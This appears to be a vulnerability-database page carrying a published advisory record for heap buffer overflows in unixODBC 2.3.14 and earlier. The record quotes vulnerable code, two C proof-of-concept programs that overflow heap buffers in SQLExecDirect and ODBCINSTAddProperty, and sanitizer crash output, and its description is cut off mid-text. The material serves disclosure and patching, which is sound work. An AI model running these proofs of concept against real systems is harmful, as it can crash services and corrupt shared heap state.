GCVE-1988-2026-0548
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who \ncan influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC \ndriver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager \n(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the \ncalling information system leverages the library and is architected), information disclosure, and execute arbitrary \ncode, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows, \ndouble-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may \nnot write those issues up, but this was all from a cursory glance through the code.\n\nExamples\nSample Heap Buffer Overflows\nWhile at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find \nboth the examples below and other instances.\n\nSQLExecDirect\u0027s Unvalidated Caller-Supplied Length\nWhen call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`, \ndoing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause \na negative value to be sent to the `sprintf` call, which standard C treats as \"no precision given\", turning the call \ninto an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly, \nthis same mistake is made elsewhere, such as in `SQLPrepare`\u0027s lines 185-189 which appears to be a copy-paste of the \noffending code.\n\n```c\nSQLRETURN SQLExecDirect( SQLHSTMT statement_handle,\n SQLCHAR *statement_text,\n SQLINTEGER text_length )\n{\n DMHSTMT statement = (DMHSTMT) statement_handle;\n SQLRETURN ret;\n SQLCHAR *s1;\n SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];\n\n /*\n * check statement\n */\n\n if ( !__validate_stmt( statement ))\n {\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n \"Error: SQL_INVALID_HANDLE\" );\n\n return SQL_INVALID_HANDLE;\n }\n\n function_entry( statement );\n\n if ( log_info.log_flag )\n {\n /*\n * allocate some space for the buffer\n */\n\n if ( statement_text \u0026\u0026 text_length == SQL_NTS )\n {\n s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );\n }\n else if ( statement_text )\n {\n s1 = malloc( text_length + LOG_MESSAGE_LEN );\n }\n else\n {\n s1 = malloc( LOG_MESSAGE_LEN );\n }\n\n sprintf( statement -\u003e msg, \"\\n\\t\\tEntry:\\\n\\n\\t\\t\\tStatement = %p\\\n\\n\\t\\t\\tSQL = %s\",\n statement,\n __string_with_length( s1, statement_text, text_length ));\n\n free( s1 );\n\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n statement -\u003e msg );\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLExecDirect.c, lines 184-242\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\nint main(void)\n{\n SQLHENV henv = SQL_NULL_HENV;\n SQLHDBC hdbc = SQL_NULL_HDBC;\n SQLHSTMT hstmt = SQL_NULL_HSTMT;\n SQLRETURN rc;\n\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n SQLAllocHandle(SQL_HANDLE_DBC, henv, \u0026hdbc);\n\n /* Enable the tracing */\n SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);\n\n /* Connect so that a valid STMT handle can be allocated -- the\n * overflow itself happens before any call reaches the driver. */\n rc = SQLConnect(hdbc, (SQLCHAR*)\"test\", SQL_NTS,\n (SQLCHAR*)\"\", SQL_NTS, (SQLCHAR*)\"\", SQL_NTS);\n if (!SQL_SUCCEEDED(rc) \u0026\u0026 rc != SQL_SUCCESS_WITH_INFO) { return 2; }\n SQLAllocHandle(SQL_HANDLE_STMT, hdbc, \u0026hstmt);\n\n /* Long, fully attacker-controlled SQL text. */\n size_t biglen = 8192;\n char *big_sql = malloc(biglen + 1);\n memset(big_sql, \u0027A\u0027, biglen);\n big_sql[biglen] = \u0027\\0\u0027;\n\n /* Negative text_length != SQL_NTS(-3) -\u003e malloc(-50+128)=78\n * bytes, then __string_with_length\u0027s sprintf(\"%.*s\", -50, ...)\n * treats the negative precision as \"no precision\", copying the\n * full 8192-byte string into the 78-byte buffer. */\n SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);\n\n free(big_sql);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\nSQLAllocHandle(ENV) rc=0\nSQLAllocHandle(DBC) rc=0\nSQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0\nSQLConnect(\"test\") rc=0\nSQLAllocHandle(STMT) rc=0\nCalling SQLExecDirect with text_length=-50, statement_text len=8192\n=================================================================\n==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp \n0x7ffeee29bc20 sp 0x7ffeee29b3c0\nWRITE of size 8209 at 0x607000001f0e thread T0\n #0 0x440c42 in __interceptor_vsprintf ...\n #1 0x441c37 in sprintf ...\n #2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c\n #3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17\n #4 0x4dedd9 in main repro.c:87:10\n...\n0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)\nallocated by thread T0 here:\n #0 0x4a3492 in __interceptor_malloc ...\n #1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c\n #2 0x4dedd9 in main repro.c:87:10\n...\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf\n==1301501==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\n==1301663== Invalid write of size 8\n==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)\n==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)\n==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)\n==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)\n==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)\n==1301663== by 0x401404: main (repro.c:87)\n==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena \"client\"\n\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.\n```\nOutput from Valgrind\n\nODBCINSTSetProperty\u0027s Unbounded Property Name/Value Copy\nPer the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the \ncaller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or \nlength check.\n\n```c\nint ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )\n{\n HODBCINSTPROPERTY hNew;\n\n hNew = \n(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );\n memset(hNew, 0, sizeof(ODBCINSTPROPERTY));\n hNew-\u003enPromptType = ODBCINST_PROMPTTYPE_HIDDEN;\n hNew-\u003epNext = NULL;\n hNew-\u003ebRefresh = 0;\n hNew-\u003ehDLL = hFirstProperty-\u003ehDLL;\n hNew-\u003epWidget = NULL;\n hNew-\u003epszHelp = NULL;\n hNew-\u003eaPromptData = NULL;\n strcpy(hNew-\u003eszName, pszProperty );\n strcpy( hNew-\u003eszValue, pszValue );\n```\nCode from `unixODBC`\u0027s odbcinst/ODBCINSTSetProperty.c, lines 54-68\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003codbcinstext.h\u003e\n\nint main(void)\n{\n ODBCINSTPROPERTY head;\n char *evil;\n size_t n = 5000; /* \u003e INI_MAX_PROPERTY_NAME/VALUE (1000) */\n\n memset(\u0026head, 0, sizeof(head));\n strcpy(head.szName, \"Driver\"); /* seed list head so AddProperty can walk pNext */\n head.pNext = NULL;\n head.hDLL = NULL;\n\n evil = malloc(n + 1);\n memset(evil, \u0027A\u0027, n);\n evil[n] = \u0027\\0\u0027;\n\n fprintf(stderr, \"calling ODBCINSTAddProperty with %zu-byte property name/value...\\n\", n);\n\n /* pszProperty and pszValue are each 5000 bytes; hNew-\u003eszName/szValue\n * (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only\n * 1001 bytes each -\u003e two separate heap overflows. */\n ODBCINSTAddProperty(\u0026head, evil, evil);\n\n printf(\"reached end (heap likely corrupted)\\n\");\n free(evil);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n=================================================================\n==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp \n0x7fffcabae780 sp 0x7fffcabadf48\nWRITE of size 5001 at 0x61d000000888 thread T0\n #0 0x48d468 in strcpy (repro_asan+0x48d468)\n #1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2\n #2 0x4debdf in main repro.c:26:5\n0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)\nallocated by thread T0 here:\n #0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)\n #1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33\n #2 0x4debdf in main repro.c:26:5\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy\n==1300489==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n==1300550== Invalid write of size 1\n==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)\n==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)\n==1300550== by 0x40123D: main (repro.c:26)\n==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc\u0027d\n==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)\n==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)\n==1300550== by 0x40123D: main (repro.c:26)\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.\nThis is probably caused by your program erroneously writing past the\nend of a heap block and corrupting heap metadata.\n```\nOutput from Valgrind Memcheck\n\nTemplate Driver\u0027s SQLConnect Unchecked Copy\nThe template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not \nperform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf` \ncall while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data \nsources (`szDataSource`) isn\u0027t checked until after the overflow has already occurred -- via `( strlen((char*) \nszDataSource ) \u003e ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only \n1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver\u0027s \n`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example \nand the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library \nbut should be fixed since such code is supposed to aid developers.\n\n```c\nSQ"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/8"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0548",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8",
"automated": true,
"contentSha256": "4cafbee5f66f0cc90cd6cab56be32adbedde5106fd136ce689dab1c90100ac1b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T00:40:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0548"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.